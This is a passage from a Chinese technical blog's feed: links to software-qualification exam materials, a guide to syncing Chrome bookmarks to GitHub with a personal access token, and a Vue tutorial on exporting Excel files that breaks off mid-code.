href="https://www.alipan.com/s/NHJKvCn8LxX">https://www.alipan.com/s/NHJKvCn8LxX</a></p><h3 id="数据库系统工程师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_45">数据库系统工程师</a></h3><p><a href="https://www.alipan.com/s/NNDfFDGLF6B">https://www.alipan.com/s/NNDfFDGLF6B</a></p><h3 id="信息系统管理工程师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_46">信息系统管理工程师</a></h3><p><a href="https://www.alipan.com/s/KvYtHVSSeSh">https://www.alipan.com/s/KvYtHVSSeSh</a></p><h3 id="计算机硬件工程师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_55">计算机硬件工程师</a></h3><h3 id="信息技术支持工程师"><a href="https://www.ruankao.org.cn/article/content/bkzn/02_54">信息技术支持工程师</a></h3><h2 id="高级">高级</h2><h3 id="信息系统项目管理师"><a href="https://www.ruankao.org.cn/article/content/bkzn/03_01">信息系统项目管理师</a></h3><p><a href="https://www.alipan.com/s/Y5EzTSWM9nT">https://www.alipan.com/s/Y5EzTSWM9nT</a></p><h3 id="系统分析师"><a href="https://www.ruankao.org.cn/article/content/bkzn/03_02">系统分析师</a></h3><p><a href="https://www.alipan.com/s/DbtJvB6DbcL">https://www.alipan.com/s/DbtJvB6DbcL</a></p><h3 id="系统架构设计师"><a href="https://www.ruankao.org.cn/article/content/bkzn/03_03">系统架构设计师</a></h3><p><a href="https://www.alipan.com/s/ek4sGwrEqeh">https://www.alipan.com/s/ek4sGwrEqeh</a></p><h3 id="网络规划设计师"><a href="https://www.ruankao.org.cn/article/content/bkzn/03_04">网络规划设计师</a></h3><p><a href="https://www.alipan.com/s/EAKYwQ4p9Mg">https://www.alipan.com/s/EAKYwQ4p9Mg</a></p><h3 id="系统规划与管理师"><a href="https://www.ruankao.org.cn/article/content/bkzn/03_05">系统规划与管理师</a></h3><h2 id="推荐学习网站">推荐学习网站</h2><p>小鸡软考:<a href="https://xkxxkx.cn/#/exam">https://xkxxkx.cn/#/exam</a></p><p>小程序搜索<code>小鸡软考</code>即可</p>]]></content>
    
    
    <summary type="html">软考资料分享</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="软考" scheme="https://blog.allbs.cn/tags/%E8%BD%AF%E8%80%83/"/>
    
  </entry>
  
  <entry>
    <title>Chrome浏览器同步书签到个人github中</title>
    <link href="https://blog.allbs.cn/posts/19704/"/>
    <id>https://blog.allbs.cn/posts/19704/</id>
    <published>2024-03-22T09:57:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="同步浏览器数据">同步浏览器数据</h2><h3 id="下载插件">下载插件</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/73a889ab72069c3a12cd4a23bd6028ab.png" alt="image-20240322155248730"></p><h3 id="生成github个人账号的token">生成github个人账号的token</h3><h4 id="点击头像-点击Settings">点击头像-&gt;点击Settings</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/f910f927fdff9ca3dc1ba3416bf7a013.png" alt="image-20240322155753925"></p><h4 id="拉到最下方点击Developer-settings">拉到最下方点击Developer settings</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/f039d883d49c02377f66747e8855ad0c.png" alt="image-20240322155856906"></p><h4 id="点击Tokens">点击Tokens</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/718e61fa57689f62849fcf356724cb48.png" alt="image-20240322155924002"></p><h4 id="生成一个新的token">生成一个新的token</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/35dca60d53925698055c422f74b9c9aa.png" alt="image-20240322160002617"></p><h4 id="授权并配置永不过期">授权并配置永不过期</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/65fee77494e429580f6c4eb2c7d3592e.png" alt="image-20240322160058298"></p><h3 id="配置插件">配置插件</h3><p>Username就是github的登录用户名</p><p>Access Token就是刚才申请的token</p><p>path可以固定为chome-bookmark/bookmark.json</p><p>Remember Me开关可以打开</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/03/ca4be88410b0145cd9b192bbaa4304e3.png" alt="image-20240322160142347"></p><h4 id="使用">使用</h4><p>在需要同步上传的机器的浏览器点击Upload</p><p>在新机器配置好参数后点击Download即可</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;同步浏览器数据&quot;&gt;同步浏览器数据&lt;/h2&gt;
&lt;h3 id=&quot;下载插件&quot;&gt;下载插件&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://nas.allbs.cn:8888/cloudpic/2024/03/73a889ab72069c3a12cd4a23bd6028</summary>
      
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="书签" scheme="https://blog.allbs.cn/tags/%E4%B9%A6%E7%AD%BE/"/>
    
    <category term="chrome" scheme="https://blog.allbs.cn/tags/chrome/"/>
    
  </entry>
  
  <entry>
    <title>vue纯前端导出excel</title>
    <link href="https://blog.allbs.cn/posts/52287/"/>
    <id>https://blog.allbs.cn/posts/52287/</id>
    <published>2023-10-17T07:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="提供数据">提供数据</h2><p>从后端获取list数据或者前端定义list数据。</p><h3 id="引用包">引用包</h3><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;dependencies&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;file-saver&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^2.0.1&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;xlsx-style&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^0.8.13&quot;</span><span class="punctuation">,</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="导出">导出</h2><h3 id="分别定义表格中展示的名称和list中对应的字段">分别定义表格中展示的名称和list中对应的字段</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">const tHeader = [</span><br><span class="line">        &quot;登录名&quot;,</span><br><span class="line">        &quot;姓名&quot;,</span><br><span class="line">        &quot;手机号码&quot;,</span><br><span class="line">        &quot;邮箱&quot;,</span><br><span class="line">        &quot;状态&quot;,</span><br><span class="line">        &quot;类型&quot;,</span><br><span class="line">        &quot;机构名称&quot;,</span><br><span class="line">        &quot;更新时间&quot;</span><br><span class="line">];</span><br><span class="line">const filterVal = [</span><br><span class="line">    &quot;userName&quot;,</span><br><span class="line">    &quot;realName&quot;,</span><br><span class="line">    &quot;mobile&quot;,</span><br><span class="line">    &quot;email&quot;,</span><br><span class="line">    &quot;statusDesc&quot;,</span><br><span class="line">    &quot;typeDesc&quot;,</span><br><span class="line">    &quot;tierName&quot;,</span><br><span class="line">    &quot;createTime&quot;</span><br><span class="line">];</span><br></pre></td></tr></table></figure><h3 id="获取list数据">获取list数据</h3><p>略。包含定义的字段即可</p><h3 id="导出实现">导出实现</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">downloadExcel(&quot;导出数据&quot;, tHeader, filterVal, list, () =&gt; &#123;&#125;);</span><br></pre></td></tr></table></figure><h3 id="导出方法">导出方法</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">downloadExcel</span>(<span class="params">filename, colNameList, colKeyList, list, callback, sheetName</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> autoWidth = <span class="literal">true</span></span><br><span class="line">  <span class="keyword">const</span> bookType = <span class="string">&#x27;xlsx&#x27;</span></span><br><span class="line">  <span class="keyword">import</span>(<span class="string">&#x27;@/vendor/Export2Excel&#x27;</span>).<span class="title function_">then</span>(<span class="function"><span class="params">excel</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> tHeader = colNameList</span><br><span class="line">    <span class="keyword">const</span> filterVal = colKeyList</span><br><span class="line">    <span class="keyword">const</span> data = <span class="title function_">formatJson</span>(filterVal, list)</span><br><span class="line">    filename = (filename != <span class="literal">null</span> &amp;&amp; filename != <span class="string">&#x27;&#x27;</span>) ? filename : <span class="string">&#x27;excel&#x27;</span></span><br><span class="line">    excel.<span class="title function_">export_json_to_excel</span>(&#123;</span><br><span class="line">      <span class="attr">header</span>: tHeader,</span><br><span class="line">      data,</span><br><span class="line">      <span class="attr">filename</span>: filename,</span><br><span class="line">      <span class="attr">autoWidth</span>: autoWidth,</span><br><span class="line">      <span class="attr">bookType</span>: bookType,</span><br><span class="line">      <span class="attr">sheetName</span>: sheetName</span><br><span class="line">    &#125;)</span><br><span class="line">    <span class="keyword">if</span> (callback != <span class="literal">null</span> &amp;&amp; callback != <span class="literal">undefined</span>) &#123;</span><br><span class="line">      <span class="title function_">callback</span>()</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">formatJson</span>(<span class="params">filterVal, jsonData</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> data = []</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; jsonData.<span class="property">length</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">const</span> row = jsonData[i]</span><br><span class="line">    <span class="keyword">const</span> val = []</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> j = <span class="number">0</span>; j &lt; filterVal.<span class="property">length</span>; j++) &#123;</span><br><span class="line">      val.<span class="title function_">push</span>(row[filterVal[j]])</span><br><span class="line">    &#125;</span><br><span class="line">    data.<span class="title function_">push</span>(val)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> data</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Export2Excel">Export2Excel</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* eslint-disable */</span></span><br><span class="line"><span class="keyword">import</span> &#123; saveAs &#125; <span class="keyword">from</span> <span class="string">&#x27;file-saver&#x27;</span></span><br><span class="line"><span class="keyword">import</span> <span class="variable constant_">XLSX</span> <span class="keyword">from</span> <span class="string">&quot;xlsx-style&quot;</span></span><br><span class="line"><span class="comment">// import XLSX from &#x27;xlsx&#x27;</span></span><br><span class="line"><span class="comment">// import XLSX from &quot;xlsx-style&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">generateArray</span>(<span class="params">table</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> out = [];</span><br><span class="line">  <span class="keyword">var</span> rows = table.<span class="title function_">querySelectorAll</span>(<span class="string">&#x27;tr&#x27;</span>);</span><br><span class="line">  <span class="keyword">var</span> ranges = [];</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">var</span> R = <span class="number">0</span>; R &lt; rows.<span class="property">length</span>; ++R) &#123;</span><br><span class="line">    <span class="keyword">var</span> outRow = [];</span><br><span class="line">    <span class="keyword">var</span> row = rows[R];</span><br><span class="line">    <span class="keyword">var</span> columns = row.<span class="title function_">querySelectorAll</span>(<span class="string">&#x27;td&#x27;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> C = <span class="number">0</span>; C &lt; columns.<span class="property">length</span>; ++C) &#123;</span><br><span class="line">      <span class="keyword">var</span> cell = columns[C];</span><br><span class="line">      <span class="keyword">var</span> colspan = cell.<span class="title function_">getAttribute</span>(<span class="string">&#x27;colspan&#x27;</span>);</span><br><span class="line">      <span class="keyword">var</span> rowspan = cell.<span class="title function_">getAttribute</span>(<span class="string">&#x27;rowspan&#x27;</span>);</span><br><span class="line">      <span class="keyword">var</span> cellValue = cell.<span class="property">innerText</span>;</span><br><span class="line">      <span class="keyword">if</span> (cellValue !== <span class="string">&quot;&quot;</span> &amp;&amp; cellValue == +cellValue) cellValue = +cellValue;</span><br><span class="line"></span><br><span class="line">      <span class="comment">//Skip ranges</span></span><br><span class="line">      ranges.<span class="title function_">forEach</span>(<span class="keyword">function</span> (<span class="params">range</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (R &gt;= range.<span class="property">s</span>.<span class="property">r</span> &amp;&amp; R &lt;= range.<span class="property">e</span>.<span class="property">r</span> &amp;&amp; outRow.<span class="property">length</span> &gt;= range.<span class="property">s</span>.<span class="property">c</span> &amp;&amp; outRow.<span class="property">length</span> &lt;= range.<span class="property">e</span>.<span class="property">c</span>) &#123;</span><br><span class="line">          <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt;= range.<span class="property">e</span>.<span class="property">c</span> - range.<span class="property">s</span>.<span class="property">c</span>; ++i) outRow.<span class="title function_">push</span>(<span class="literal">null</span>);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;);</span><br><span class="line"></span><br><span class="line">      <span class="comment">//Handle Row Span</span></span><br><span class="line">      <span class="keyword">if</span> (rowspan || colspan) &#123;</span><br><span class="line">        rowspan = rowspan || <span class="number">1</span>;</span><br><span class="line">        colspan = colspan || <span class="number">1</span>;</span><br><span class="line">        ranges.<span class="title function_">push</span>(&#123;</span><br><span class="line">          <span class="attr">s</span>: &#123;</span><br><span class="line">            <span class="attr">r</span>: R,</span><br><span class="line">            <span class="attr">c</span>: outRow.<span class="property">length</span></span><br><span class="line">          &#125;,</span><br><span class="line">          <span class="attr">e</span>: &#123;</span><br><span class="line">            <span class="attr">r</span>: R + rowspan - <span class="number">1</span>,</span><br><span class="line">            <span class="attr">c</span>: outRow.<span class="property">length</span> + colspan - <span class="number">1</span></span><br><span class="line">          &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125;;</span><br><span class="line"></span><br><span class="line">      <span class="comment">//Handle Value</span></span><br><span class="line">      outRow.<span class="title function_">push</span>(cellValue !== <span class="string">&quot;&quot;</span> ? cellValue : <span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">//Handle Colspan</span></span><br><span class="line">      <span class="keyword">if</span> (colspan)</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">var</span> k = <span class="number">0</span>; k &lt; colspan - <span class="number">1</span>; ++k) outRow.<span class="title function_">push</span>(<span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    out.<span class="title function_">push</span>(outRow);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> [out, ranges];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">datenum</span>(<span class="params">v, date1904</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (date1904) v += <span class="number">1462</span>;</span><br><span class="line">  <span class="keyword">var</span> epoch = <span class="title class_">Date</span>.<span class="title function_">parse</span>(v);</span><br><span class="line">  <span class="keyword">return</span> (epoch - <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="title class_">Date</span>.<span class="title function_">UTC</span>(<span class="number">1899</span>, <span class="number">11</span>, <span class="number">30</span>))) / (<span class="number">24</span> * <span class="number">60</span> * <span class="number">60</span> * <span class="number">1000</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">sheet_from_array_of_arrays</span>(<span class="params">data, opts</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> ws = &#123;&#125;;</span><br><span class="line">  <span class="keyword">var</span> range = &#123;</span><br><span class="line">    <span class="attr">s</span>: &#123;</span><br><span class="line">      <span class="attr">c</span>: <span class="number">10000000</span>,</span><br><span class="line">      <span class="attr">r</span>: <span class="number">10000000</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">e</span>: &#123;</span><br><span class="line">      <span class="attr">c</span>: <span class="number">0</span>,</span><br><span class="line">      <span class="attr">r</span>: <span class="number">0</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">var</span> R = <span class="number">0</span>; R != data.<span class="property">length</span>; ++R) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> C = <span class="number">0</span>; C != data[R].<span class="property">length</span>; ++C) &#123;</span><br><span class="line">      <span class="keyword">if</span> (range.<span class="property">s</span>.<span class="property">r</span> &gt; R) range.<span class="property">s</span>.<span class="property">r</span> = R;</span><br><span class="line">      <span class="keyword">if</span> (range.<span class="property">s</span>.<span class="property">c</span> &gt; C) range.<span class="property">s</span>.<span class="property">c</span> = C;</span><br><span class="line">      <span class="keyword">if</span> (range.<span class="property">e</span>.<span class="property">r</span> &lt; R) range.<span class="property">e</span>.<span class="property">r</span> = R;</span><br><span class="line">      <span class="keyword">if</span> (range.<span class="property">e</span>.<span class="property">c</span> &lt; C) range.<span class="property">e</span>.<span class="property">c</span> = C;</span><br><span class="line">      <span class="keyword">var</span> cell = &#123;</span><br><span class="line">        <span class="attr">v</span>: data[R][C]</span><br><span class="line">      &#125;;</span><br><span class="line">      <span class="keyword">if</span> (cell.<span class="property">v</span> == <span class="literal">null</span>) <span class="keyword">continue</span>;</span><br><span class="line">      <span class="keyword">var</span> cell_ref = <span class="variable constant_">XLSX</span>.<span class="property">utils</span>.<span class="title function_">encode_cell</span>(&#123;</span><br><span class="line">        <span class="attr">c</span>: C,</span><br><span class="line">        <span class="attr">r</span>: R</span><br><span class="line">      &#125;);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (<span class="keyword">typeof</span> cell.<span class="property">v</span> === <span class="string">&#x27;number&#x27;</span>) cell.<span class="property">t</span> = <span class="string">&#x27;n&#x27;</span>;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> cell.<span class="property">v</span> === <span class="string">&#x27;boolean&#x27;</span>) cell.<span class="property">t</span> = <span class="string">&#x27;b&#x27;</span>;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> (cell.<span class="property">v</span> <span class="keyword">instanceof</span> <span class="title class_">Date</span>) &#123;</span><br><span class="line">        cell.<span class="property">t</span> = <span class="string">&#x27;n&#x27;</span>;</span><br><span class="line">        cell.<span class="property">z</span> = <span 